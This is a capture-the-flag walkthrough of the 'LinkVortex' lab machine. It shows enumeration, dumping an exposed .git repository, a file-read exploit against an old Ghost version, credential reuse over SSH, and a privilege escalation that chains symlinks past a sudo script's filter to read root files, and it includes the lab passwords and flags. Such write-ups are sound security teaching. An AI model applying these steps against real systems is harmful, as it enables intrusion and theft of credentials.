
LinkVortex
Summary
This hosts a web app with a login page, to which we don’t have access. After enumeration, we find a virtual host for another website, with an exposed .git
folder, which we can download. Checking the unstaged changes, we can extract a clear text password and log into the real web app. The app’s old version suffers from a vulnerability, which lets us read files on the system. By reading a config generated by the docker process, we find credentials for an account, with which we can log into the system via SSH.
The compromised user has the privilege to execute a custom script, which can read files on the system, but includes a filter to not reveals sensitive files. By using multiple system links, which point to sensitive files, we can trick the filter and obtain any user’s password hash and the root flag.
Solution
Reconnaissance
Nmap discovered two open ports:
nmap -sC -sV 10.10.11.47 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 14:10 CET
Nmap scan report for 10.10.11.47
Host is up (0.058s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The scan already tells us, that the website redirects us to linkvortex.htb
, so let’s add this domain to /etc/hosts
. When we visit this website, we can find a blog.
While clicking through the website, we can see that there is a user call admin
, who published all article. Also, we can see that this blog is based on Ghost. Let’s enumerate a little further with Gobuster.
gobuster dir -u http://linkvortex.htb -w /usr/share/wordlists/dirb/big.txt -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://linkvortex.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/About (Status: 200) [Size: 8284]
/LICENSE (Status: 200) [Size: 1065]
/RSS (Status: 200) [Size: 26682]
/about (Status: 200) [Size: 8284]
/amp (Status: 200) [Size: 12148]
/cpu (Status: 200) [Size: 15472]
/favicon.ico (Status: 200) [Size: 15406]
/feed (Status: 200) [Size: 26682]
/ghost (Status: 200) [Size: 3787]
/private (Status: 200) [Size: 12148]
/ram (Status: 200) [Size: 14746]
/robots.txt (Status: 200) [Size: 121]
/rss (Status: 200) [Size: 26682]
/server-status (Status: 403) [Size: 199]
/sitemap.xml (Status: 200) [Size: 527]
/unsubscribe (Status: 400) [Size: 24]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
Most of these directories are uninteresting, but /ghost
presents us with a login panel.
After a little research, it seems like this application does not have any default credentials, and it seems like there are no other files we can find. Let continue enumeration of the target by discovering possible virtual hosts.
echo "{GOBUSTER}.linkvortex.htb" > pattern
gobuster vhost -u http://10.10.11.47 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -p pattern
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.47
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] Patterns: pattern (1 entries)
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.linkvortex.htb Status: 200 [Size: 2538]
===============================================================
Finished
===============================================================
We found one: dev
. After adding this domain to /etc/hosts
we can visit and enumerate it.
Another directory enumeration did not yield any interesting results. However, since this is a page, which is still in development, it is likely that there is git repo. If we check http://dev.linkvortex.htb/.git/
, we have access to the repo. To download this, we can use a tool such as Git-Dumper.
python3 git_dumper.py http://dev.linkvortex.htb/.git/ app
User Flag
Now we can access to everything locally and search through the files and the repo. Before we dig through commits, let’s check if anything was recently changed and not committed yet.
git status
Not currently on any branch.
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: Dockerfile.ghost
modified: ghost/core/test/regression/api/admin/authentication.test.js
The Dockerfile does not contain anything of relevance, but the authentication script contains test credentials.
[...]
it('complete setup', async function () {
const email = 'test@example.com';
const password = 'OctopiFociPilfer45';
[...]
This looks like an unusually complex password just for a test. Maybe this is the password of the administrator for the real page. Using the credentials admin@linkvortex.htb:OctopiFociPilfer45
, we gain access to the admin dashboard.
We actually can’t do much with our newly acquired access, as the panel does not have many features we can work with. It also does not disclose the application’s version, so we need to use something like Wappalyzer to discover, that this is Ghost v5.58
. A little research reveals that there is an existing exploit, which allows an authenticated user to read files on the system.
./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb
Now we have a prompt, with which we can read files. Since don’t have any special access with this prompt, we can’t read important files on the system. This means we are restrained to files of the web application, to which we already have read access to most of its files. The only files we can’t yet read, are files that are generated as soon as the service starts. Let’s take a look at such files. Dockerfile.ghost
generates a copy of the config file.
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]
Since we now the absolute path of this file, let’s read it with our exploit prompt.
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
This file contains not only a new user, but also a password: bob:fibber-talented-worth
. We can use these credentials to log in via SSH and collect the user flag.
e482382a643b553f0f5fc5ec0075b769
Root Flag
First, let’s check if bob
can execute anything as root.
sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
He is allowed to execute a custom script for .png
files as sudo. We can read the script and try to make sense of what it is doing.
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
Essentially, the script takes the .png
file as an input and checks, if it is part of /root
or /etc
, or points to them by being a symbolic link. Once this is confirmed, it moves the file and can print out the content, as long as CHECK_CONTENT
is set.
After a little analysis, we can notice that even though the script can not be fooled, if we provide a symbolic link as the parameter, which points at these two directories, there is another way. We should be able to pass the filter, if the link points to another symbolic link. According to the filter, we would not be pointing at the directories in question, even though we technically still do. Also, remember that the script moves our files, so we need to work with absolute paths.
First, we can create a link pointing to the sensitive file and then another one pointing at the link. Then we can call the script as sudo for our second link. Also, we need to set the CHECK_CONTENT
flag to be able to read the output.
ln -s /root/root.txt link1
ln -s /home/bob/link1 link2.png
CHECK_CONTENT=true sudo /usr/bin/bash /opt/ghost/clean_symlink.sh link2.png
If we use the root flag as the link target, we can claim it.
087fdf08fd5b1c9eb6d7e14fe9b54dcc
We could also point it at /etc/shadow
and read the password hash of root
, but the cracking process would take some time and is unnecessary in this case.